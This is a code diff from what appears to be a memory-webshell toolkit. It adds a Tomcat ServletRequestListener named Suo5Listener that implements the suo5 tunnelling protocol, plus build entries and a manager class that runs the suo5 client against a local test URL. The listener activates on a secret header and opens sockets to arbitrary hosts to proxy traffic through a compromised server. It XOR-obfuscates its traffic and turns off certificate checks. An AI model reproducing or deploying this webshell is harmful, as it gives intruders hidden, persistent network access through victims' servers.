X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/suo5/Suo5Listener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/suo5/Suo5Listener.java new file mode 100644 index 00000000..c82e8847 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/suo5/Suo5Listener.java @@ -0,0 +1,603 @@ +package com.reajason.javaweb.memshell.tomcat.suo5; + +import javax.net.ssl.*; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.lang.reflect.Field; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; + +/** + * @author ReaJason + * @since 2024/12/15 + */ +public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + + public Suo5Listener() { + } + + public Suo5Listener(InputStream in, OutputStream out) { + this.gInStream = in; + this.gOutStream = out; + } + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { + InputStream in = request.getInputStream(); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = response.getOutputStream(); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = (byte) ((Math.random() * 255) + 1); + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { + final InputStream reqInputStream = request.getInputStream(); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.setStatus(403); + return; + } + resp.setBufferSize(512); + final OutputStream respOutStream = resp.getOutputStream(); + + // 0x00 create socket + resp.setHeader("X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + // Cannot convert Integer to int + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5Listener p = new Suo5Listener(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws + Exception { + InputStream is = request.getInputStream(); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.setStatus(403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.setBufferSize(512); + OutputStream respOutStream = resp.getOutputStream(); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.setHeader("X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + byte[] newBody = marshal(dataMap); + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equals("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(newBody.length)); + continue; + } else if (k.equals("Host")) { + conn.setRequestProperty(k, u.getHost()); + continue; + } else if (k.equals("Connection")) { + conn.setRequestProperty(k, "close"); + continue; + } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(newBody); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + String contentType = request.getContentType(); + if (contentType == null) { + return; + } + try { + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + return; + } + + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable e) { +// System.out.printf("process data error %s\n", e); +// e.printStackTrace(); + } + } + } catch (Exception ignored) { + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(request, "response"); + } + return response; + } +} diff --git a/settings.gradle b/settings.gradle index 5f5fc81b..42e13f85 100644 --- a/settings.gradle +++ b/settings.gradle @@ -6,6 +6,8 @@ include 'common' include 'tools' include 'tools:godzilla' include 'tools:behinder' +include 'tools:suo5' +include 'tools:ant-sword' include 'memshell' include 'memshell-java8' diff --git a/tools/suo5/build.gradle b/tools/suo5/build.gradle new file mode 100644 index 00000000..5bbd8ec1 --- /dev/null +++ b/tools/suo5/build.gradle @@ -0,0 +1,32 @@ +plugins { + id "io.freefair.lombok" version "8.11" +} + + +group = 'com.reajason.javaweb.tools' +version = rootProject.version + +java { + sourceCompatibility = JavaVersion.VERSION_1_8 + targetCompatibility = JavaVersion.VERSION_1_8 +} + + +dependencies { + implementation project(":common") + + implementation 'net.bytebuddy:byte-buddy' + + implementation 'commons-io:commons-io' + implementation 'org.apache.commons:commons-lang3' + implementation 'commons-codec:commons-codec' + + implementation 'com.squareup.okhttp3:okhttp' + + testImplementation platform('org.junit:junit-bom') + testImplementation 'org.junit.jupiter:junit-jupiter' +} + +test { + useJUnitPlatform() +} \ No newline at end of file diff --git a/tools/suo5/src/main/java/com/reajason/javaweb/suo5/Suo5Manager.java b/tools/suo5/src/main/java/com/reajason/javaweb/suo5/Suo5Manager.java new file mode 100644 index 00000000..f148bd29 --- /dev/null +++ b/tools/suo5/src/main/java/com/reajason/javaweb/suo5/Suo5Manager.java @@ -0,0 +1,78 @@ +package com.reajason.javaweb.suo5; + +import java.io.BufferedReader; +import java.io.InputStreamReader; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.concurrent.*; + +/** + * @author ReaJason + * @since 2025/2/12 + */ +public class Suo5Manager { + + public static final String suo5Command; + + static { + String os = System.getProperty("os.name").toLowerCase(); + String arch = System.getProperty("os.arch").toLowerCase(); + boolean isMac = os.contains("mac") || os.contains("darwin"); + boolean isArm = arch.contains("arm") || arch.contains("aarch64"); + + String osType = isMac ? "darwin" : "linux"; + String osArch = isArm ? "arm64" : "amd64"; + Path pwd = Paths.get(System.getProperty("user.dir")); + if (!pwd.endsWith("MemShellParty")) { + pwd = pwd.getParent(); + } + suo5Command = pwd.resolve(Paths.get("asserts", "suo5", "suo5-" + osType + "-" + osArch)).toAbsolutePath().toString(); + } + + public static void main(String[] args) { + System.out.println(suo5Command); + boolean test = test("http://localhost:8081/app/test", "test"); + System.out.println(test); + } + + public static boolean test(String targetUrl, String ua) { + ProcessBuilder processBuilder = new ProcessBuilder( + suo5Command, "-t", targetUrl, "--timeout", "5", "-ua", ua + ); + processBuilder.redirectErrorStream(true); + ExecutorService executor = Executors.newSingleThreadExecutor(); + try { + Process process = processBuilder.start(); + + Future future = executor.submit(() -> { + try (BufferedReader reader = new BufferedReader( + new InputStreamReader(process.getInputStream()))) { + String line; + while ((line = reader.readLine()) != null) { + System.out.println(line); + if (line.contains("FTAL")) { + process.destroy(); + return false; + } + if (line.contains("congratulations!")) { + process.destroy(); + return true; + } + } + return false; + } + }); + try { + return future.get(10, TimeUnit.SECONDS); + } catch (TimeoutException e) { + process.destroy(); + return true; + } + } catch (Exception e) { + e.printStackTrace(); + return false; + } finally { + executor.shutdownNow(); + } + } +} \ No newline at end of file